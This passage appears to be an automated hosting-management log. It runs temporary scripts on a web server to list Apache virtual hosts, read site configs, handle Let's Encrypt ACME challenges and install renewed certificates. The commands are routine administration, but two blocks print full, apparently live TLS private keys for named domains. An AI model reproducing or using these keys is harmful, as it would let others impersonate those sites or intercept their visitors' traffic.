         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:02:27: 

PUT: /tmp/pkp115905

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:02:27: 

chmod 755 /tmp/pkp115905; /tmp/pkp115905; rm /tmp/pkp115905

2025-09-06 06:02:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf	1409

<VirtualHost *:80>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	datinggame.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt
    DocumentRoot	/var/www/drewmarshall_datinggame
    <Directory /var/www/drewmarshall_datinggame>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/datinggame_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/datinggame_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-06 06:02:27: 

PUT: /tmp/pkp121281

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:02:27: 

chmod 755 /tmp/pkp121281; /tmp/pkp121281; rm /tmp/pkp121281

2025-09-06 06:02:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt	5378
f4:72:73:5e:54:28:01:6e:1c:8b:95:94:9a:9f:5d:34

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBapWMGre/loGfnyA6kln7fUaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzUzWhcNMjUxMjA1MDUwMzUyWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALWvJjUCQSCzoMTMTiLodLxx3uiLvSdWkpcs9q6YwkklqhY2
oRoiuGwdPea3cJTGf35HimTa6Mhd95QRPlXTHXToIXeU6B2QocsfhiD8NGJ1q91b
U+7Jb6yLznzNou3N/qchXkuM64QOhQMwyIAkatES2SngfmhOuSETyxhxmHIeI2J6
emhY6vbRd/hNnfS32WY4rMzEa+IrU5hQLP/Fz+rsLT439KLzW12e+HtmUjq+XNcB
jdHVtowwKvwE/+vpSlhCXVMhHbls99MYo7FbF8EmVPqhyWHq+tqijkfD1ixSdDDM
l1soo4nn4EEEskEjtEl2Nrxxld7dz0hPZDHJCtUCAwEAAaOCAiowggImMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUOWmJjCMDAL3vPAWt1OYCVYPxpJ8wHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzI3LmNybDCCAQQGCisG
AQQB1nkCBAIEgfUEgfIA8AB2ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvl
hiY6AAABmR2eZBQAAAQDAEcwRQIgFJJjzgfsBzqvMrSvIY0ulgfaemCfnFJcddsx
lGSxnPoCIQDZ6jW9if9KIpGkbelU/taMWgPIQXiALa1pgu9KMxa54AB2AMz7D2qF
cQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAABmR2ea/QAAAQDAEcwRQIhAKIj
Tx0JV1Q7egcYoRV4M6LpW/sq3B3GuhMT8YNarf5JAiAPxDPcYaPMjtpl1SfnuspC
xEbAL65/2e5n3xrjR7j/+TANBgkqhkiG9w0BAQsFAAOCAQEAhCaVqdeYUyiKu68C
QQh9EpzNXer3tNt60IINoZP1kVjIcQ8IS7m8RAwiSo/Ij3F0LEO0HY6iRSPJDmOw
KWcItlkIa69+6sj3vfyWHnVyb5gEyUji4aZe0OoUv1F7AACX6lMq9hOTFufGZO+I
eqKHQ2mjve5f1XnvZ359guA2wUcs9EDhBsd89U6hoaMC/+/i96H7sTzIUCoWbXUk
LkM0a7gDk6YswQXfUffoFOV74CTb5jFSNab2OnVtUEptOBWJXg8h90hg1ily+rgF
WTXKEoD0W0Bux6LGKRMS0Bsq0f5a5sK/QGaIiFFbYRpMMpwyqtKoyBaP9IzWVnBP
k1ibvA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1ryY1AkEgs6DE
zE4i6HS8cd7oi70nVpKXLPaumMJJJaoWNqEaIrhsHT3mt3CUxn9+R4pk2ujIXfeU
ET5V0x106CF3lOgdkKHLH4Yg/DRidavdW1PuyW+si858zaLtzf6nIV5LjOuEDoUD
MMiAJGrREtkp4H5oTrkhE8sYcZhyHiNienpoWOr20Xf4TZ30t9lmOKzMxGviK1OY
UCz/xc/q7C0+N/Si81tdnvh7ZlI6vlzXAY3R1baMMCr8BP/r6UpYQl1TIR25bPfT
GKOxWxfBJlT6oclh6vraoo5Hw9YsUnQwzJdbKKOJ5+BBBLJBI7RJdja8cZXe3c9I
T2QxyQrVAgMBAAECggEAPo2DNhUEn2G5JIjDDjnCl28NNDuIcJbZ+bq9Y/esTMru
+J7ucLUrke2vdlQKKu78zlmLSJYmN3ZC23PkZmA9cBbMDwPxttwpGGpOH+U1lAC3
n4rmJvyruliYS1fxlLarypcuhAyMufbVzPdq0NO5AyreIhDs9LTGAKFz94KE3iT1
pUlOgrv/utf5a2xJMxOkXtS+XokpNBpNZgC1p2EyyhGhOUl2DK7aKTRV13qYZnAb
h1gBYKP2Ebk2KDNg6S8dbfaf/F00SZq3LNHSihd9UTiM1OXTLKUS/ltUDJgWNC0L
tJE0eJp0wltsevcsqcxOVO7k76FJIglHmTfOAcfVgQKBgQDf8dyupanpcigm9lTh
9Jx7UbkClsOb1TaxOAjm/jF7QtlCeX5v+7GBrv9V2ilkHKtx8dPDAfeVIEGt6tHi
1pyuOWaasTlV8tngVMnioBNpirl3OsGHBpYGQ3eNNbbH1nMJUATKix2SLLUNIp/Q
A5gPGQXEWjKpMtW4qgfauGmmrQKBgQDPsLUrhB5kDkNXDOOriLJ+9DgssUQeAKml
acjjb3ZanCI4BV0VIBltlN0X5isYrJFUXokjWFD2MuUBS1yrwgXf//Pho8xFf1YL
SnhU1RSWScg+CKN96lPqbm8YZdMd5gO5dh9Uh6Atfd8bqFBgEuAZiN/5gLehzKJH
JhG5BDiByQKBgQDNmFeZA0B9sK9KLeZ51z9+O+XViaIlw9ZFVwNdRksZNaMOU0oP
9wvc2lNSd0p+vY9sua5HHtw0zXte9vEgBxWrIcmgBUp1LNJ4EH+UDpAj2hcxbgDU
POio8XGlc4XN64SLLSpo5NUOKPtDBuGfcF0+pyNTQ9e03JW3xmoVlC5ytQKBgG4p
os9EMwKLdjiUQ6bWyScBz1IVbLYlT9bHd6D7nGGPc68XWTo9Xn97eJKWqcFat3Ny
+Xbf/4G3mTTIjo0kSw13rBrBUTaDxlYS2CTXKSZWWHpfBqlhQ8WTciYUzJiNSuhy
uUeS8OlwXIlFC+0J1gh1S6gCGGUgL+thTAFBNd/RAoGBANpgKGIFJ4WAn4zYHhsP
LSTWYWxJEms/kPf7hGY2dnQFAt066pO2dELkQJBQIBjSE0l5kUrypYPZEcMgg3ol
oNut3OWb6yLtRLIfk0EnAkwu15ZOVvqqz+cVI1rLeOCdqSQfX1DItRxC9tl78E0f
o5yH8LcPAe6LwZ9wjDifiAax
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-07 06:00:01: Establishing a connection
2025-09-07 06:00:01: Establishing a connection
2025-09-07 06:00:02: 

PUT: /tmp/pkp209539

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-07 06:00:03: 

chmod 755 /tmp/pkp209539; /tmp/pkp209539; rm /tmp/pkp209539

2025-09-07 06:00:03: 


0


2025-09-08 06:00:01: Establishing a connection
2025-09-08 06:00:01: Establishing a connection
2025-09-08 06:00:01: 

PUT: /tmp/pkp755593

#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-08 06:00:02: 

chmod 755 /tmp/pkp755593; /tmp/pkp755593; rm /tmp/pkp755593

2025-09-08 06:00:02: 


1


2025-09-08 06:00:03: Establishing a connection
2025-09-08 06:00:04: 

PUT: /tmp/pkp545243

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
cat > XFgE-8wZ9YGhDO2NKQauPRRqbFV-1NFFwBE4zpbG2mo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XFgE-8wZ9YGhDO2NKQauPRRqbFV-1NFFwBE4zpbG2mo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XFgE-8wZ9YGhDO2NKQauPRRqbFV-1NFFwBE4zpbG2mo
cat > iCcZEN0mXOFY58c-tuNUjeYTpwtmhLOFBxZ_m5kcxfQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
iCcZEN0mXOFY58c-tuNUjeYTpwtmhLOFBxZ_m5kcxfQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 iCcZEN0mXOFY58c-tuNUjeYTpwtmhLOFBxZ_m5kcxfQ
cat > P8AbMcGo56U6WQSDyWVT9HEInDJD0MspwP6dz_ifgNU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
P8AbMcGo56U6WQSDyWVT9HEInDJD0MspwP6dz_ifgNU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 P8AbMcGo56U6WQSDyWVT9HEInDJD0MspwP6dz_ifgNU


2025-09-08 06:00:04: 

chmod 755 /tmp/pkp545243; /tmp/pkp545243; rm /tmp/pkp545243

2025-09-08 06:00:04: 




2025-09-08 06:00:18: Establishing a connection
2025-09-08 06:00:18: 

PUT: /tmp/pkp692083

#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
rm XFgE-8wZ9YGhDO2NKQauPRRqbFV-1NFFwBE4zpbG2mo
rm iCcZEN0mXOFY58c-tuNUjeYTpwtmhLOFBxZ_m5kcxfQ
rm P8AbMcGo56U6WQSDyWVT9HEInDJD0MspwP6dz_ifgNU


2025-09-08 06:00:18: 

chmod 755 /tmp/pkp692083; /tmp/pkp692083; rm /tmp/pkp692083

2025-09-08 06:00:18: 




2025-09-08 06:00:18: Establishing a connection
2025-09-08 06:00:18: 

PUT: /tmp/pkp131643

#!/bin/bash
temp_file=$(mktemp)
TARGET=d2f885a15ab55cd2a5fd0d3cbe2ab259.crt

cat > $temp_file <<'endmsg'
f7:01:e7:3b:30:f2:f5:f8:fb:73:de:e0:d7:97:65:3a

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBlYIsPhhqsK8KLN1X0BQB/3aMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA4MDUwMTQ4WhcNMjUxMjA3MDUwMTQ3WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKj9F1JpSO9rA5vUWjcDKjFwhi+/yVCZn7vAJXH/C+GB06WRwxoohq6Eu1Qw6ow3
49Sv0bUYdJLigWhfecmBLGdJ2mmWhT9yvRg8byQt8QMOi4NbblbYzQSSStQtvJqw
D/AuO85XBxOiNg3Kb8vfVAtqwrXC4dZUlg4Z/VD/9BKZktDVq5YZhufY+ADopoJ6
+RiZapKmARuP3VWPBhtaJAAyQIIB6g3MD2Ma0pwXi/AQegS0Z13IR0qsY/lXVuvK
n1nzft5zpWWg2DH4zzziUJkIWO8ZgMW/81F6ox9Fxwy14b3SQPWaBh59tyHoTKbf
jP5WfNdFih6x46JZe8uS3tUCAwEAAaOCAkQwggJAMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUgbZz/SYricIfGhFKo+1RNIt2ar4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
OTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYApELFBklgYVSPD9TqnPt6
LSZFTYepfy/fRVn2J086hFQAAAGZJ+kxoQAABAMARzBFAiATChihJli0R0dl9TLK
Rjsx4VbMmmL01vn8SsXe9DPMYAIhAKiji0m/wlhPtv4Pq+RTpWd30WHrSvnYvxcz
LYqXUpexAHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZJ+kx
1QAABAMARzBFAiEAxQBk2l/Wikus7++X6KpW4UqDusqoz4Q/jJEnJPIfL1oCIA7h
ZjMhIP2pyUasuvKPYF8/mJJMoqyNpblkfBB8uOmRMA0GCSqGSIb3DQEBCwUAA4IB
AQAhjjajYwn7AXyXJsq+wVl1SQHJ3Zd4mshZxH1vEwzLphND9aS38DmOUfKZhvgx
gNOvlxdIsE7QrRAgle3gZFkHGhhTl7pWlOrVuK/OYPwrnN1niYFfiolLf6RAU1+s
ElJOTkY/Ti0hhurt15ODuwYCCdh8bdwBH+D/B8RMp4D+5BH0MeWirQpcHJpNmfp4
IaIe/ImJ7VDWWM9vFWY5EFBD6IpNj5W84OOU+Biz5SauXJMxXNjgtWVv6IEImdQX
WC/cwPNCXll494iJTc8c8/d5MjBwwHhu7x78yP2M2vNwb+2jO6QVB0TbtARNGjvl
GyLzkKzGp7wUZsXiQzxDII06
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCo/RdSaUjvawOb
1Fo3AyoxcIYvv8lQmZ+7wCVx/wvhgdOlkcMaKIauhLtUMOqMN+PUr9G1GHSS4oFo
X3nJgSxnSdpploU/cr0YPG8kLfEDDouDW25W2M0EkkrULbyasA/wLjvOVwcTojYN
ym/L31QLasK1wuHWVJYOGf1Q//QSmZLQ1auWGYbn2PgA6KaCevkYmWqSpgEbj91V
jwYbWiQAMkCCAeoNzA9jGtKcF4vwEHoEtGddyEdKrGP5V1bryp9Z837ec6VloNgx
+M884lCZCFjvGYDFv/NReqMfRccMteG90kD1mgYefbch6Eym34z+VnzXRYoeseOi
WXvLkt7VAgMBAAECggEAN4IC4iARRAtbwRjslTtl5Z13hkGyB9aeYFaKNjq3lVhG
xBDwDCyZqMOSoOH8eRh2rssd0CV7TTA3n6gU4fqbMkZRBvPZSvEOaeKYA0NP8lgZ
vYkP4lkOZt0C1VU8qXcBlTwqiumNOobCyJ7hQA9YlPN5h6i+898O9wzUZ4Hbkyv0
CSKZ3o5rZLX21NKjbw7/yOEPZodd3rpkfmYYAJiWZqn2zkus+daM845kAULLM3Ne
Hubkf81zN9pMoK6UngPRdrqRmLWyu6+43PPOfH+hdrn2BdT6Lnduji89/jVYH6LR
81WbwOnrP8oqdRlqVmBrrlTUh3oPi1nlQRRLfWIbFQKBgQDY/539jw7GhaX9PVwt
4nMJcdUqYSqErLTOya9mXug44C1of1qjcX92vTws7lZobxfz3DIoM+vRWjtvUtac
KvNlxKU7rWluLokiwVEcskeFPpNR0uU7haDWKDNXy0Bi5CH/oDSFbupI4YRbep8Z
1B0E6ua4RK8VPG+IP7dEMuaYIwKBgQDHXHpGcil+Nvehvhi5D0/EFJdqGAY2waUc
pBQogpti0890b2mNilwYF/tP7eoW4ihe72EWQi5WUI73KOufntYQ0pvaq0leemh2
CRpkFgOBFVLaX/D2HZRqsKXkscw12eOBYkxFX1n712MljawHMaAmpbn2xvQI6TwP
Ewif6s3gpwKBgQDP7RcpGAQTa4qivkHuYZbTDPUxt4szN/3ES3M7R2OC5CP+hlGG
XUHCuA7KCtJXHWQ5MdwJs76Zirl6sUicuXciI6wkI8TrY8HZwJ0FPzrSzSQCem9W
enOj4T9ZN5OJbom5VHwfAymRDi5yLWv4Jsxrot3S4VVWpuNEDbGAsrlMOwKBgQCF
GeX9IH05aiN8ljlVXLapuAG7cJy9dB3zeEyJG2H44mdQWo4DVMvVvjUokTRH4OiJ
MZMFVFwxfolk1KozoM1U3/f0T4WlkV4q6Dr5dYUTapQtff6XovoTHSs0+8vWbEmr
eWBotJeUP6JPUT34c5Z0FxOIgh4t0OIrQk7wzch0YwKBgQCRdw7MsM55LJyUnR1E
L44ZRaVVr1dFek/NQ3SmddzfnmzIGxIRw8ctSJfSxsnA9vSzqAH66McYYWQMChJy
qMDpnoQWSpMdhuUTkr30gMFsIIfaTf6cHw8FKFfsrmRPtYjrCekb0PIiHMyToC+x
RHrJkNPqszY87XVZzUbeAKCSJQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
